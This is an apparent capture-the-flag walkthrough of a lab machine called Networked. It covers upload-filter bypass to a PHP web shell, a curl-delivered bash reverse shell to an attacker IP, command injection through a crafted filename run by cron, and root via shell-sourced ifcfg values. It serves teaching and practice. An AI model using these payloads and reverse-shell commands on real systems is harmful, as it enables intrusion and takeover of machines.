Target IP: 10.10.10.146

Initial Reconnaissance

The scan showed an old CentOS/PHP stack.

nmap -p- -sC -sV 10.10.10.146

22/tcp open  ssh   OpenSSH 7.4
80/tcp open  http  Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)

Directory fuzzing found a /backup/ directory and an /uploads/ directory.

wfuzz -c -z file,/usr/share/dirb/wordlists/common.txt --hc 404 "http://10.10.10.146/FUZZ"

Source Code From /backup

/backup/ held a backup.tar containing the whole application source.

tar -xvf backup.tar   # index.php lib.php photos.php upload.php

Reading lib.php and upload.php revealed exactly how the upload was validated:

• the extension is checked (but a double extension like .php.png slips through),
• the MIME type is trusted from the request’s Content-Type header,
• the file must start with an image magic signature,
• the filename’s leading part (before the first .) must be a valid IP, with _ mapped to ..

Bypassing the Upload Filter

All four checks are defeatable at once. I built a file that begins with a PNG-ish magic header, contains a PHP payload, and is named so the leading part is a valid IP.

GIF89a;
<?php system($_GET['cmd']); ?>

Uploaded as 10_10_14_20.php.png with Content-Type: image/png, the checks pass: 10_10_14_20 maps to the valid IP 10.10.14.20, and Apache still executes the .php.png file as PHP. Requesting it with a command triggered a reverse shell as apache.

curl "http://10.10.10.146/uploads/10_10_14_20.php.png?cmd=bash%20-i%20>%26%20/dev/tcp/10.10.14.20/5555%200>%261"

Command Injection via a Crafted Filename

In /home/guly there was a cron job running every three minutes as guly.

*/3 * * * * php /home/guly/check_attack.php

check_attack.php scans the uploads directory and, for any filename that is not a valid IP, passes the filename straight into exec().

exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");

Since $value is the raw filename, a file whose name contains shell metacharacters becomes command injection. Special characters are awkward to place directly, so I base64-encoded the reverse shell and created the file from the apache shell.

cd /var/www/html/uploads
touch -- "hehe; echo <base64-reverse-shell> | base64 -d | bash"

Within three minutes the cron ran and connected back as guly, giving the user flag.

[guly@networked ~]$ id
uid=1000(guly) gid=1000(guly)
[guly@networked ~]$ cat user.txt

Privilege Escalation via ifcfg

guly could run one script as root.

(root) NOPASSWD: /usr/local/sbin/changename.sh

The script prompts for interface values, validates them against a regex, and writes them into an ifcfg-guly config file before running ifup guly0.

regexp="^[a-zA-Z0-9_\ /-]+$"

The key detail is that the regex allows spaces. On Red Hat systems ifup sources the config file with the shell, so a value like NAME=anything bash is parsed as an assignment followed by a command. When ifup sources it, bash runs, and ifup runs as root.

$ sudo /usr/local/sbin/changename.sh
interface NAME:
anything bash
interface PROXY_METHOD:
a
interface BROWSER_ONLY:
a
interface BOOTPROTO:
a
[root@networked network-scripts]# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt

Takeaways

Networked is a compact tour of injection. The foothold stacks four upload weaknesses that each look reasonable in isolation but combine into remote code execution. The lateral move is a reminder that a filename is untrusted input. Feeding one into exec() is command injection just like any other string.

The root step is a subtle one worth remembering: on Red Hat, network config files are sourced, not parsed, so a config “value” with a space becomes a command executed as root.